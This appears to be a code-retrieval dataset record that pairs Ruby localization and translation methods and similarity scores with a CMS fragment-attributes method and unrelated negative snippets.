"def localized_paths_for(page)\n return {} if page.path == \"index.html\"\n localized_paths = {}\n (langs).each do |locale|\n # Loop over all pages to find the ones using the same templates (proxied_to) for each language\n sitemap.resources.each do |resource|\n next if !resource.is_a?(Middleman::Sitemap::ProxyResource)\n if resource.target_resource == page.target_resource\n if resource.metadata[:options][:locale] == locale\n localized_paths[locale] = resource.url\n break\n end\n end\n end\n end\n\n localized_paths\n end",
"def load_translations( locale, base_locale=\"en\", type=\"all\", scope=\"\" )\n \n @files ||= load_files\n @languages = @files[:translations].keys.sort {|x,y| x.to_s <=> y.to_s }\n \n # Convert hash to scope string\n global = scopize( @files[:globals] )\n base = scopize( @files[:translations][base_locale.to_sym] )\n dest = scopize( @files[:translations][locale.to_sym] )\n translation = {}\n \n reg = Regexp.new( '^' + Regexp.escape( scope ))\n \n # Process all keys from all locales\n global.keys.each do |key| \n if((type == \"all\") or (type==\"untranslated\" and dest[key].nil?) or (type == \"translated\" and not ( dest[key].nil? )))\n if scope.empty? or key.match( reg )\n case base[key]\n when Hash\n value_type = \"hash\"\n when Array\n value_type = \"array\"\n when TrueClass, FalseClass\n value_type = \"bool\"\n else\n value_type = \"string\"\n end\n \n translation[key] = { \n :base => base[key].nil? ? \"Not translated in base [#{base_locale}]\" : base[key],\n :value => dest[key],\n :type => value_type,\n }\n end\n end\n end\n \n return translation\n end",
"def load_translations(*filenames)\n filenames = I18n.load_path if filenames.empty?\n \n @filenames = filenames.flatten\n \n @filenames.each { |filename| load_file(filename) }\n end",
"def test_load_about_de\n doc = SimpleDocument.read \"folder/about\", :locale => \"de\"\n \n assert_equal \"#{DIR}/fixtures/folder/about.de.md\", doc.uri\n assert_equal :markdown, doc.format\n assert_equal \"Ein deutsches \\\"about\\\"\\n\", doc.body\n \n assert_equal nil, doc.header\n assert_equal \"about\", doc.name\n assert_equal true, doc.active?\n assert_equal File.mtime(doc.uri), doc.mtime\n end",
"def load_entry(locale, key)\n locale, key = locale.to_s, key.to_s\n data = self.find_all_by_locale_and_key(locale, key)\n result = {}\n data.each do |row|\n #only return the simple translation if one is set\n return row.text if row.pluralization_index.blank?\n result[row.pluralization_index.to_sym] = row.text\n end\n return result\n end",
"def translation_for(locale)\n success = true\n tries ||= 3\n translation = self.translations.detect{ |t| t.locale == locale }\n return translation if translation\n return nil if self.new_record\n request = Net::HTTP::Get.new(\"/api/projects/#{Connection.api_key}/terms/#{self.id}/locales/#{locale}/translations.yaml\")\n WebTranslateIt::Util.add_fields(request)\n begin\n response = Util.handle_response(Connection.http_connection.request(request), true, true)\n array = YAML.load(response)\n return nil if array.empty?\n translations = []\n array.each do |translation|\n term_translation = WebTranslateIt::TermTranslation.new(translation)\n translations.push(term_translation)\n end\n return translations\n \n rescue Timeout::Error\n puts \"Request timeout. Will retry in 5 seconds.\"\n if (tries -= 1) > 0\n sleep(5)\n retry\n else\n success = false\n end\n end\n success\n end",
"def translatable\n self._translatable[base_name]\n end",
"def setup_mass_copy_translations\n end",
"def load_language(lang)\n puts \"Loading current translations for language #{lang}\"\n system(\n 'curl -X GET ' \\\n \"'https://translation.io/api/v1/segments.json?target_language=#{lang}' \" \\\n \"-H 'x-api-key: #{$API_KEY}' > ,full-list\"\n )\n current_translations_file_contents = File.read(',full-list')\n current_translations_json = JSON.parse(current_translations_file_contents)\n\n if current_translations_json.key?('errors')\n puts 'Error:'\n puts current_translations_json['errors']\n exit 1\n end\n\n # Initialize hash in CURRENT_TRANSLATIONS for this new language\n $CURRENT_TRANSLATIONS[lang] = {}\n\n # Reorganize so that $CURRENT_TRANSLATIONS[lang][key] contains segment\n # information that translations.io provides:\n # id, key, target_language, target, etc.\n current_translations_json['segments'].each do |segment|\n # Work around bug in Rubocop\n if segment['target_language'] != lang\n STDERR.puts \"Error: Expected language #{lang} in segment #{segment}\"\n exit 1\n end\n $CURRENT_TRANSLATIONS[lang][segment['key']] = segment\n end\nend",
"def create_page\n segments = self.slug.split('/').find_all { |segment| segment != '' }\n max_segments = segments.size\n\n while segment = segments.pop do\n _options = self.page_options(slug: segment, translated: false)\n file_path = File.join(pages_path, segments, segment)\n\n # the content type option is never deleted for the first segment (the requested template)\n _options.delete(:content_type) unless segments.size == (max_segments - 1)\n\n template 'template.liquid.tt', \"#{file_path}.liquid\", _options\n\n self.other_locales.each do |locale|\n _options[:translated] = true\n template 'template.liquid.tt', \"#{file_path}.#{locale}.liquid\", _options\n end\n end\n end",
"def extract_title_from_page(page_path)\n f = File.open(page_path)\n file_contents = f.read\n f.close\n\n markdown_translator = Yuzu::Translators::Translator.translators[:markdown]\n markdown_translator.extract_title_from_contents(file_contents)\n end",
"def other_locales_with_translations(website)\n all_locales_with_translations(website) - [I18n.locale.to_s]\n end",
"def assert_file_named_correctly!(file, translations); end",
"def create_local\n template \"config/locales/en.rb\", \"config/locales/#{class_name.underscore}.en.yml\"\n end",
"def translate_file?(page)\n test = page\n test = test.gsub('./', '') if page[0..1] == './'\n test = test.gsub('.text.html.erb', '')\n test = test.gsub('.text.plain.erb', '')\n test = test.gsub('.html.erb', '')\n test.split('.').length == 1\n end",
"def locale_files\n Dir[File.join(File.dirname(__FILE__), \"polish\", \"locale\", \"**/*\")]\n end",
"def locale_files\n Dir[File.join(File.dirname(__FILE__), \"polish\", \"locale\", \"**/*\")]\n end",
"def import\n read_dict_file(:langA)\n write_database(:langA)\n\n read_dict_file(:langB)\n write_database(:langB)\n end",
"def build_html\n # the first one should not use a locale, for the default:\n generate_all_html_pages\n\n # now translate, if necessary:\n if translation.should_translate?\n translation.prepare\n translation.available_locales.each do |locale|\n translation.current_locale = locale\n generate_all_html_pages\n end\n end\n end",
"def import_locale_map\n json = JSON.parse(File.read(path_to_json))\n\n json[\"countries\"].each_pair do |country_code, country_data|\n country_name = country_data[\"name\"]\n languages = country_data[\"locales\"]\n\n associate_country_with_locales(country_name, country_code, languages)\n end\n end",
"def load_english_a\n File.open(\"test/test_files/english_a.txt\", \"r\").read\n end",
"def translate(settings); end",
"def load_page\n page_not_found! unless Language.current\n\n @page ||= Language.current.pages.contentpages.find_by(\n urlname: params[:urlname],\n language_code: params[:locale] || Language.current.code\n )\n end",
"def translations\n ::I18n.backend.instance_eval do\n init_translations unless initialized?\n translations\n end\n end",
"def on_load_language; load_language('lang/login'); end",
"def load_files\n files = []\n translations = {}\n globals = {}\n I18n.load_path.each do |file|\n data = YAML.load_file(file)\n \n # Try to identify type from file's path name\n # TODO: Try to find a use for that\n case file\n when /\\/gems\\/activesupport-(.*)\\/lib\\/active_support\\/locale\\//:\n type = \"ActiveSupport\"\n when /\\/gems\\/activerecord-(.*)\\/lib\\/active_record\\/locale\\//:\n type = \"ActiveRecord\"\n when /\\/gems\\/actionpack-(.*)\\/lib\\/action_view\\/locale\\//:\n type = \"ActionView\"\n else\n type = \"file\"\n end\n\n if data.is_a? Hash\n # Skip non-hash translation files\n data.keys.collect do |locale|\n files << { :locale => locale, :filename => file, :type => type } \n locale = locale.to_sym\n # Mix in (from simpe I18n backend)\n translations[locale] ||= {}\n sdata = deep_symbolize_keys(data)\n merger = proc { |key, v1, v2| Hash === v1 && Hash === v2 ? v1.merge(v2, &merger) : v2 }\n translations[locale].merge!(sdata[locale], &merger)\n # Build global translation keys from all locales\n globals.merge!(sdata[locale],&merger)\n end\n end\n \n end\n \n return {\n :files => files,\n :translations => translations,\n :globals => globals,\n }\n \n return files\n end",
"def translatable\n self._translatable[base_name] ||= []\n end",
"def locale_translations\n @locale_scope ||= begin\n locale_path = \"#{@locale}.yml\"\n locale_path = File.join(@locales_dir, locale_path) if @locales_dir\n YAML.load_file(locale_path).fetch(@locale)\n end\n end",
"def translate_and_write_page(source_page, tos, from, overwrite)\n if File.exist?(source_page)\n STDERR.puts \"Translating: #{source_page}\"\n else\n STDERR.puts \"Could not find file: #{source_page}\"\n return\n end\n \n if !translate_file?(source_page)\n STDERR.puts \"Not translating file: #{source_page}\"\n return\n end\n \n text = IO.read(source_page)\n \n begins_with_html = text['<html>']\n \n # Pull out all the code blocks so Google doesn't mess with those\n pattern = /\\<\\%.+\\%\\>/\n holder = '{{---}}'\n replacements = text.scan(pattern)\n text.gsub!(pattern, holder)\n \n # Pull out all the new lines so Google doesn't mess with those\n pattern = /\\n/\n newline_holder = '<brr />'\n newline_replacements = text.scan(pattern)\n text.gsub!(pattern, newline_holder)\n \n # Send to Google for translations\n translations = Babelphish::Translator.multiple_translate(text, tos, from)\n \n # Put the code back\n translations.each_key do |locale|\n replacements.each do |r|\n if translations[locale]\n translations[locale].sub!(holder, r)\n else\n STDERR.puts \"Unable to location translation for: #{locale} (From was #{from}. If they match then no translation was generated).\"\n end\n end\n end\n \n # Put the newlines back in\n translations.each_key do |locale|\n newline_replacements.each do |r|\n if translations[locale]\n translations[locale].sub!(newline_holder, r)\n if translations[locale]['<html>']\n # Google translate can insert '<html>' at the beginning of the result. Remove it.\n translations[locale]['<html>']= '' unless begins_with_html\n end\n end\n end\n end\n \n # Write the new file\n translations.each_key do |locale|\n translated_filename = get_translated_file(source_page, locale)\n if (locale != from) && (overwrite || !File.exists?(translated_filename))\n File.open(translated_filename, 'w') { |f| f.write(translations[locale]) }\n end\n end\n\n end",
"def import_page(path, parent)\n slug = path.split(\"/\").last\n\n # setting page record\n page =\n if parent.present?\n child = site.pages.where(slug: slug).first_or_initialize\n child.parent = parent\n child\n else\n site.pages.root || site.pages.new(slug: slug)\n end\n\n content_path = File.join(path, \"content.html\")\n\n # If file is newer than page record we'll process it\n if fresh_seed?(page, content_path)\n\n # reading file content in, resulting in a hash\n fragments_hash = parse_file_content(content_path)\n\n # parsing attributes section\n attributes_yaml = fragments_hash.delete(\"attributes\")\n attrs = YAML.safe_load(attributes_yaml)\n\n # applying attributes\n layout = site.layouts.find_by(identifier: attrs.delete(\"layout\")) || parent.try(:layout)\n category_ids = category_names_to_ids(page, attrs.delete(\"categories\"))\n target_page = attrs.delete(\"target_page\")\n\n page.attributes = attrs.merge(\n layout: layout,\n category_ids: category_ids\n )\n\n # applying fragments\n old_frag_identifiers = page.fragments.pluck(:identifier)\n\n new_frag_identifiers, fragments_attributes =\n construct_fragments_attributes(fragments_hash, page, path)\n page.fragments_attributes = fragments_attributes\n\n if page.save\n message = \"[CMS SEEDS] Imported Page \\t #{page.full_path}\"\n ComfortableMexicanSofa.logger.info(message)\n\n # defering target page linking\n if target_page.present?\n self.target_pages ||= {}\n self.target_pages[page.id] = target_page\n end\n\n # cleaning up old fragments\n page.fragments.where(identifier: old_frag_identifiers - new_frag_identifiers).destroy_all\n\n else\n message = \"[CMS SEEDS] Failed to import Page \\n#{page.errors.inspect}\"\n ComfortableMexicanSofa.logger.warn(message)\n end\n end\n\n import_translations(path, page)\n\n # Tracking what page from seeds we're working with. So we can remove pages\n # that are no longer in seeds\n seed_ids << page.id\n\n # importing child pages (if there are any)\n Dir[\"#{path}*/\"].each do |page_path|\n import_page(page_path, page)\n end\n end",
"def translate_file(filename)\n f = File.read(filename)\n f = translate_title(f)\n f = translate_body(f)\n f = update_category(f)\n f\n end",
"def generate_locale_files\n enforce = I18n.enforce_available_locales\n I18n.enforce_available_locales = false\n\n locales.each do |locale|\n I18n.with_locale(locale) do\n template 'locale.yml', File.join(\"config\", \"locales\", \"#{file_name}.#{locale.to_s}.yml\")\n end\n end\n\n I18n.enforce_available_locales = enforce\n end",
"def create_locale_files\n @i18n_scope = model.i18n_scope.to_s\n @i18n_key = model.model_name.i18n_key.to_s\n @columns = model.column_names\n\n options[:locales].each do |locale|\n @locale = locale\n locale_file = File.join(\n 'config/locales/models', model_name.underscore, \"#{@locale}.yml\"\n )\n template 'locale.yml', locale_file\n end\n rescue NameError\n puts \"#{model_name} is undefined.\"\n end",
"def fetch\n update_attributes(application.api_client.get(\n \"language/#{locale}/definition\", {},\n {\n cache_key: self.class.cache_key(locale)\n }\n ))\n rescue Tml::Exception => ex\n Tml.logger.error(\"Failed to load language: #{ex}\")\n self\n end",
"def i18n\n begin\n render :text=>I18n.translate(params[:id], :raise => I18n::MissingTranslationData)\n rescue I18n::MissingTranslationData\n render :text=>\"No translation for #{params[:id]}\", :status => 404\n end\n end",
"def translation\r\n translation_for(Mongoid::Globalize.locale)\r\n end",
"def translate(locale)\n translated_text = ''\n parse do |part|\n case part[:type]\n when :paragraph\n translated_text += locale.translate(part[:paragraph])\n when :empty_line\n translated_text += part[:line]\n else\n raise \"should not reach here: unexpected type: #{type}\"\n end\n end\n translated_text\n end",
"def non_localized_contents\n @non_localized_contents ||= begin\n # grab the content that belongs directly to the page\n contents_data = Gluttonberg::Content.non_localized_associations.inject([]) do |memo, assoc|\n memo += page.send(assoc).all\n end\n contents_data = contents_data.sort{|a,b| a.section_position <=> b.section_position}\n end\n @non_localized_contents\n end",
"def translations\n collection = Collection.new\n\n # add all translations from the database to the collection\n collection.add(find_database_translations(@texts)) if @use_db\n\n # request translations for all texts that aren't in the database\n untranslated = untranslated(collection)\n if untranslated.present?\n provider_translations = find_provider_translations(untranslated)\n save_database_translations(provider_translations)\n collection.add(provider_translations)\n end\n\n # puts collection.description\n collection\n end",
"def init_translations_and_ignore_app_mode_file_dump\n # Get the current yaml file list sorted\n files = (I18n.load_path + Dir.glob(File.join(\"config\", \"locales\", \"**\",\"*.{rb,yml}\"))).uniq.sort\n # Avoid application mode file paths\n files -= I18n.available_locales.map{|l| application_mode_file_path(l)}\n files -= I18n.available_locales.map{|l| File.join(\"config\", \"locales\", \"#{l}.yml\")}\n # Load the new translation file list\n I18n.load_path = files\n # Reset I18n to track the updated file list\n I18n.reload!\n I18n.backend.send(:init_translations)\n end",
"def generate_simple(site)\n lang = site.config['prime_lang'] || site.config['lang'] || 'en'\n Jekyll.logger.info \"Generating w/o multilang support for '#{lang}'\"\n\n prefix = [site.source, \"_langs\", lang, ''].join '/'\n allfiles = File.join prefix, '**', '*.*'\n\n Dir.glob(allfiles) do |source_file|\n file_name = File.basename source_file\n relative_dir = File.dirname source_file.sub(prefix, '')\n create_page(site, source_file, relative_dir, file_name, lang)\n end\n end",
"def translations\n @translations ||= {}\n end",
"def set_page_translation\n @page_translation = PageTranslation.find(params[:id])\n end",
"def index\n @translations = @locale.translations.all(:order => \"raw_key, pluralization_index\")\n end",
"def suitable_locale_text(texts)\n english = texts.select { |t| english_locales.include? t[\"locale\"] }\n (english + texts).first[\"text\"]\n end",
"def export_i18n_messages\n SimplesIdeias::I18n.export! if Rails.env.development?\n end",
"def translated_text(args = {})\n objects = args[:locale].nil? ? translations : for_language(args[:locale])\n objects.collect(&:text)\n end",
"def fetch\n self.get(:pages).each do |attributes|\n page = self.add(attributes['fullpath'], attributes)\n\n self.mounting_point.locales[1..-1].each do |locale|\n # if not translated, no need to make an api call for that locale\n next unless page.translated_in?(locale)\n\n Locomotive::Mounter.with_locale(locale) do\n localized_attributes = self.get(\"pages/#{page._id}\", locale)\n\n # remove useless non localized attributes\n localized_attributes.delete('target_klass_slug')\n\n # isolate the editable elements\n editable_elements = self.filter_editable_elements(localized_attributes.delete('editable_elements'))\n\n page.attributes = localized_attributes\n\n page.set_editable_elements(editable_elements)\n end\n end\n end\n end",
"def fetch\n position, last_dirname = nil, nil\n\n Dir.glob(File.join(self.root_dir, '**/*')).sort.each do |filepath|\n next unless File.directory?(filepath) || filepath =~ /\\.(#{Locomotive::Mounter::TEMPLATE_EXTENSIONS.join('|')})$/\n\n if last_dirname != File.dirname(filepath)\n position, last_dirname = 100, File.dirname(filepath)\n end\n\n page = self.add(filepath, position: position)\n\n next if File.directory?(filepath) || page.nil?\n\n if locale = self.filepath_locale(filepath)\n Locomotive::Mounter.with_locale(locale) do\n self.set_attributes_from_header(page, filepath)\n end\n else\n Locomotive::Mounter.logger.warn \"Unknown locale in the '#{File.basename(filepath)}' file.\"\n end\n\n position += 1\n end\n end",
"def import_data_for_english(con, table)\n ENGLISH_COUNTRY.each { |country|\n execute(con, table, country)\n }\n end",
"def process_language_redirect\n # Add languages\n record.parts.each do |part|\n # Get language redirect configuration\n if part.name == 'config'\n # Loop all languages\n languages = []\n part.content.each_line do |language|\n # Get language name and base url\n config = language.split(':')\n # Check if configuration is correct\n if (config.length == 2)\n # Get language props\n lang = config[0]\n url = config[1]\n # Set name as default if '*'\n lang = \"default\" if lang == '*'\n # Add language if not already done\n if not languages.include?(url)\n # Get the language page\n p = Page.find_by_url(config[1])\n if p\n @children << Radiant::RadiantPageResource.new(\"#{path}/#{lang}\", p)\n languages << url\n end\n end\n end\n end\n end\n end\n end",
"def set_website_locale\n app_locales = %w(es ca)\n I18n.locale = params[:lang] if app_locales.include?(params[:lang])\n end",
"def set_locale\n I18n.locale = extract_locale_from_tld\n end",
"def load_words\n File.readlines(\"#{WORD_DIR}/#{language}.txt\").map(&:strip)\n end",
"def activate\n Page.send :include, FrenchDatesTags\n end",
"def get_not_translated\n language = \"en\"\n language = params[:language] if params[:language]\n lang = []\n @files = {}\n @new_lang = []\n File.read(\"#{Rails.root}/lang/#{language}.rb\").scan(/l.store\\s?[\\'\\\"][^\\'\\\"]+[\\'\\\"]/) do |st|\n st.scan(/[\\'\\\"][^\\'\\\"]+[\\'\\\"]/) do |st2|\n lang << st2.gsub(/[\\'\\\"]/, \"\")\n end\n end\n\n @files_list = Dir.glob(\"#{Rails.root}/app/controllers/*.rb\").collect\n @files_list += Dir.glob(\"#{Rails.root}/app/views/**/*.rhtml\").collect\n @files_list += Dir.glob(\"#{Rails.root}/app/models/*.rb\").collect\n @files_list += Dir.glob(\"#{Rails.root}/app/helpers/*.rb\").collect\n @files_list += Dir.glob(\"#{Rails.root}/lib/**/*.rb\").collect\n for file in @files_list\n File.read(file).scan(/[^\\w\\d]\\_\\([\\'\\\"][^\\'\\\"]+[\\'\\\"]\\)/) do |st|\n st = st.gsub(/.?\\_\\(/, \"\").gsub(/[\\s\\'\\\"\\)\\(]/, \"\")\n @new_lang << st\n @files[st] = file\n end\n end\n\n @new_lang -= lang\n @new_lang = @new_lang.uniq.flatten\n end",
"def available_translations\n {\n 'en' => 'English',\n 'es' => 'Español',\n 'pt-BR' => 'Português do Brasil'\n }\n end",
"def set_locale\n session[:locale] = params[:locale] if params[:locale]\n I18n.locale = session[:locale] || I18n.default_locale\n locale_path = \"#{LOCALES_DIRECTORY}#{I18n.locale}.yml\"\n unless I18n.load_path.include? locale_path\n I18n.load_path << locale_path\n I18n.backend.send(:init_translations)\n end\n rescue Exception => err\n logger.error err\n flash.now[:notice] = \"#{I18n.locale} translation not available\"\n I18n.load_path -= [locale_path]\n I18n.locale = session[:locale] = I18n.default_locale\n end",
"def transform_files!(files, type) \n files.each do |file|\n parsed = \"\"\n namespace = [DEFAULT_LANGUAGE, 'txt', type] + Base.get_namespace(file, type)\n puts \"Converting: \" + file + \" into namespace: \"\n puts namespace.map {|x| \"[\\\"#{x}\\\"]\"}.join(\"\")\n \n n = Namespace.new(namespace)\n \n contents = Base.get_file_as_string(file)\n parsed << GettextI18nConvertor.string_to_i18n(contents, n)\n \n #puts parsed\n # write the file\n \n File.open(file, 'w') { |file| file.write(parsed)}\n \n \n \n n.merge(@translations)\n end\n end",
"def translatable_links(t)\n link = link_to(t.titleize.pluralize, [:cms, @available_locale, t.constantize])\n\n var_name = t.underscore.parameterize # (ie, \"brand\" or \"product\")\n if item = instance_variable_get(\"@#{var_name.singularize}\")\n content_tag(:li, link) + item_link(item)\n elsif instance_variable_get(\"@#{var_name.pluralize}\")\n content_tag(:li, link, class: 'current hide-for-small')\n end\n end",
"def language(lang)\n I18n.locale = \"#{YAML.load_file(Rails.root.to_s + '/config/express_translate.yml')['package']['id']}#{lang}\"\n end",
"def translation\n @translation ||= Mongify::Translation.parse(@translation_file)\n end",
"def request_translations(texts, options = T.unsafe(nil), http_options = T.unsafe(nil)); end",
"def initialize_i18n\n trusty_locale_paths = Dir[File.join(TRUSTY_CMS_ROOT, 'config', 'locales', '*.{rb,yml}')]\n configuration.i18n.load_path = trusty_locale_paths + extension_loader.paths(:locale)\n super\n end",
"def translations_for route\n available_locales.map do |locale|\n translate_route(route, locale.dup) #we duplicate the locale string to ensure it's not frozen\n end\n end",
"def ui_localization_files\n loc_files = Dir[File.join(RAILS_ROOT, 'lang/ui/', '*.{yml,yaml}')]\n unless @@localization_sources.empty?\n @@localization_sources.each do |path|\n loc_files += Dir[File.join(path, '*.{yml,yaml}')]\n end\n end\n loc_files\n end",
"def create_translations\n end",
"def translations(language = nil)\n Birdman::Requester.get(\"movies/#{id}/translations/#{language}\")\n end",
"def load_localization(locale = nil)\n if locale.blank?\n @current_localization = load_default_localizations\n else\n @current_localization = localizations.where(\"locale_id = ? AND path LIKE ?\", locale.id, \"#{path}%\").first\n end\n end"
] |
[
"0.66005903",
"0.6434012",
"0.6153062",
"0.6153062",
"0.60005456",
"0.60005456",
"0.5946621",
"0.59438527",
"0.59423167",
"0.58755416",
"0.5845026",
"0.58390385",
"0.57943356",
"0.5731144",
"0.57250303",
"0.57180715",
"0.57020986",
"0.5696444",
"0.56761223",
"0.5607724",
"0.5545738",
"0.55408514",
"0.5530703",
"0.5508727",
"0.55025",
"0.54853785",
"0.54572016",
"0.5445192",
"0.5430251",
"0.5429139",
"0.54098815",
"0.54002297",
"0.5394454",
"0.5322491",
"0.5315324",
"0.53138053",
"0.5294314",
"0.5264583",
"0.5264034",
"0.5257273",
"0.5249881",
"0.5243901",
"0.52380115",
"0.523053",
"0.5203638",
"0.5200217",
"0.5195943",
"0.5195943",
"0.51697516",
"0.5160847",
"0.515748",
"0.5137343",
"0.5118724",
"0.51119727",
"0.51076865",
"0.5084743",
"0.5084229",
"0.5060508",
"0.50574934",
"0.5052015",
"0.5044591",
"0.5036469",
"0.503082",
"0.5026758",
"0.502434",
"0.502318",
"0.50227135",
"0.501496",
"0.5003411",
"0.50001276",
"0.49990577",
"0.49881434",
"0.49865723",
"0.49825487",
"0.49822852",
"0.49816176",
"0.49776435",
"0.49753827",
"0.497496",
"0.49714875",
"0.49703473",
"0.49624616",
"0.495772",
"0.49527654",
"0.49503532",
"0.49489972",
"0.49409854",
"0.49398786",
"0.49376756",
"0.4934751",
"0.49336198",
"0.49266344",
"0.49204767",
"0.49177766",
"0.4910108",
"0.49038655",
"0.48971224",
"0.48941362",
"0.4885693",
"0.48824394"
] |
0.75523263
|
0
|
Constructing frag attributes hash that can be assigned to page or translation also returning list of frag identifiers so we can destroy old ones
|
def construct_fragments_attributes(hash, record, path)
frag_identifiers = []
frag_attributes = hash.collect do |frag_header, frag_content|
tag, identifier = frag_header.split
frag_hash = {
identifier: identifier,
tag: tag
}
# tracking fragments that need removing later
frag_identifiers << identifier
# based on tag we need to cram content in proper place and proper format
case tag
when "date", "datetime"
frag_hash[:datetime] = frag_content
when "checkbox"
frag_hash[:boolean] = frag_content
when "file", "files"
files, file_ids_destroy = files_content(record, identifier, path, frag_content)
frag_hash[:files] = files
frag_hash[:file_ids_destroy] = file_ids_destroy
else
frag_hash[:content] = frag_content
end
frag_hash
end
[frag_identifiers, frag_attributes]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def passive\t\n\thash=Digest::MD5.hexdigest(@tagpattern)\n\t[{:name=>\"tag pattern hash\",:string=>hash}]\nend",
"def hash\n [anchor_allow_white_space_in_characters, anchor_allow_white_space_in_characters_metadata, anchor_case_sensitive, anchor_case_sensitive_metadata, anchor_horizontal_alignment, anchor_horizontal_alignment_metadata, anchor_ignore_if_not_present, anchor_ignore_if_not_present_metadata, anchor_match_whole_word, anchor_match_whole_word_metadata, anchor_string, anchor_string_metadata, anchor_tab_processor_version, anchor_tab_processor_version_metadata, anchor_units, anchor_units_metadata, anchor_x_offset, anchor_x_offset_metadata, anchor_y_offset, anchor_y_offset_metadata, bold, bold_metadata, conditional_parent_label, conditional_parent_label_metadata, conditional_parent_value, conditional_parent_value_metadata, custom_tab_id, custom_tab_id_metadata, document_id, document_id_metadata, error_details, font, font_color, font_color_metadata, font_metadata, font_size, font_size_metadata, form_order, form_order_metadata, form_page_label, form_page_label_metadata, form_page_number, form_page_number_metadata, height, height_metadata, italic, italic_metadata, locale_policy, merge_field, merge_field_xml, name, name_metadata, page_number, page_number_metadata, recipient_id, recipient_id_guid, recipient_id_guid_metadata, recipient_id_metadata, smart_contract_information, status, status_metadata, tab_group_labels, tab_group_labels_metadata, tab_id, tab_id_metadata, tab_label, tab_label_metadata, tab_order, tab_order_metadata, tab_type, tab_type_metadata, template_locked, template_locked_metadata, template_required, template_required_metadata, tooltip, tool_tip_metadata, underline, underline_metadata, value, value_metadata, width, width_metadata, x_position, x_position_metadata, y_position, y_position_metadata].hash\n end",
"def hash\n [rel, href].hash\n end",
"def to_hash\n fattrs.inject({}){|h,a| h.update a => send(a)}\n end",
"def hash\n @attrs\n end",
"def map_data_to_uuids\n\t\t@storage.invert\n\tend",
"def build_all_attrs(table)\n hash = {}\n table.each do |line|\n id, attrs = nil, {}\n line.sub(\" />\\n\", '').split(' PFWeb:').drop(1).each.with_index do |e, i|\n match = e.match(/(?<name>\\S*)=\"?(?<val>.*)\"/)\n id = match[:val].to_sym if i == 0\n attrs[match[:name].to_sym] = match[:val]\n end\n hash[id] = attrs\n end\n hash\n end",
"def hash\n @hash ||= @trace_id.hash ^ @is_new.hash ^ @span_id.hash ^\n @sampled.hash ^ @capture_stack.hash\n end",
"def attributes\n Hash[instance_variables.map{|attrib| [attrib.to_s[1..attrib.to_s.size], nil]}]\n end",
"def hash; map{|el| \"#{el.name} @ #{el.hash}\"}; map(&:hash).reduce(:+) % 2**32; end",
"def hash\n [background_pattern_color, foreground_pattern_color, texture].hash\n end",
"def generate_hash\n @tags.group_by do |x|\n x[:name]\n x.delete(:name)\n end\n end",
"def identifiers_hash\n @identifiers_hash ||= {:default => [:uuid]}\n end",
"def make_hash\n variables = self.instance_variables\n attr_hash = {}\n variables.each do |var|\n attr_hash[\"#{var.slice(1..-1)}\"] = self.send(\"#{var.slice(1..-1)}\")\n end\n\n return attr_hash\n end",
"def get_hash\n\t\thmodification = Hash.new\n\t\thmodification[:id] = hid\n\t\thmodification[:pred] = pred\n\t\thmodification[:obj] = obj.hid\n\t\thmodification\n\tend",
"def cache_ids(use_pbar = @use_pbar)\n num_pep, num_db_seq, num_pep_ev = get_num_elements(nil)\n \n @pep_h = Hash.new\n @mod_h = Hash.new\n pbar1 = ProgressBar.new(\"peptides\", num_pep/2) if use_pbar\n reader = Nokogiri::XML::Reader(File.open(@mzid_file))\n reader.each do |node|\n # parse Peptide items\n if node.name == \"Peptide\" then\n # parse local peptide entry\n tmp_node = Nokogiri::XML.parse(node.outer_xml)\n tmp_node.remove_namespaces!\n root = tmp_node.root \n pep_id = root[\"id\"].to_sym\n # skip if already handled PepID\n next if @pep_h.has_key?(pep_id)\n # parse sequence/mods if haven't seen it yet\n pep_seq = get_peptide_sequence(root)\n mod_line = get_modifications(root)\n @pep_h[pep_id] = pep_seq\n @mod_h[pep_id] = mod_line\n pbar1.inc if use_pbar\n end\n end\n pbar1.finish if use_pbar\n # now parse DBSequence items\n dbseq_re = Regexp.new(/^\\s*<DBSequence\\s/)\n pbar2 = ProgressBar.new(\"db_seq\", num_db_seq) if use_pbar\n IO.foreach(@mzid_file) do |line|\n next if !dbseq_re.match(line)\n \n prot_id = line.match(/accession=\\\"([\\w|\\|]+)/)[1]\n db_id = line.match(/id=\\\"(\\w+)/)[1]\n \n @db_seq_h[db_id.to_sym] = prot_id.to_sym\n pbar2.inc if use_pbar\n end\n pbar2.finish if use_pbar\n # now parse PeptideEvidence items\n pepev_re = Regexp.new(/^\\s*<PeptideEvidence\\s/)\n pbar3 = ProgressBar.new(\"pep_ev\", num_pep_ev) if use_pbar\n IO.foreach(@mzid_file) do |line|\n next if !pepev_re.match(line)\n \n db_id = line.match(/dBSequence_ref=\\\"(\\w+)/)[1]\n start_pos = line.match(/start=\\\"(\\d+)/)[1].to_i\n end_pos = line.match(/end=\\\"(\\d+)/)[1].to_i\n pep_ev = line.match(/id=\\\"(\\w+)/)[1]\n is_decoy = line.match(/isDecoy=\\\"(\\w+)\\\"/)[1]\n # @pep_ev_h_dbseqRef[pep_ev.to_sym] = db_id.to_sym\n @pep_ev_h[pep_ev.to_sym] = PeptideEvidence.new(:db_seq_ref => db_id.to_sym,\n :start_pos => start_pos,\n :end_pos => end_pos,\n :is_decoy => is_decoy)\n pbar3.inc if use_pbar\n end\n pbar3.finish if use_pbar \n end",
"def make_hash\n variables = self.instance_variables\n attr_hash = {}\n \n variables.each do |var|\n attr_hash[\"#{var.slice(1..-1)}\"] = self.send(\"#{var.slice(1..-1)}\")\n end\n \n attr_hash\n end",
"def get_hash_tags\n self.text.gsub(/#(([a-z_\\-]+[0-9_\\-]*[a-z0-9_\\-]+)|([0-9_\\-]+[a-z_\\-]+[a-z0-9_\\-]+))/).to_a\n #self.text.gsub(/#(\\w+)/).to_a\n end",
"def hash\n [prefix, postfix, snippet_count, fragment_size, max_analyzed_chars, merge_contiguous, use_phrase_highlighter, fields].hash\n end",
"def to_hash\n hash = Hash[instance_variables.map { |var| [var[1..-1].to_sym, instance_variable_get(var)] }]\n hash.delete(:root)\n hash.delete(:nodes)\n hash.delete(:sequences)\n hash\n end",
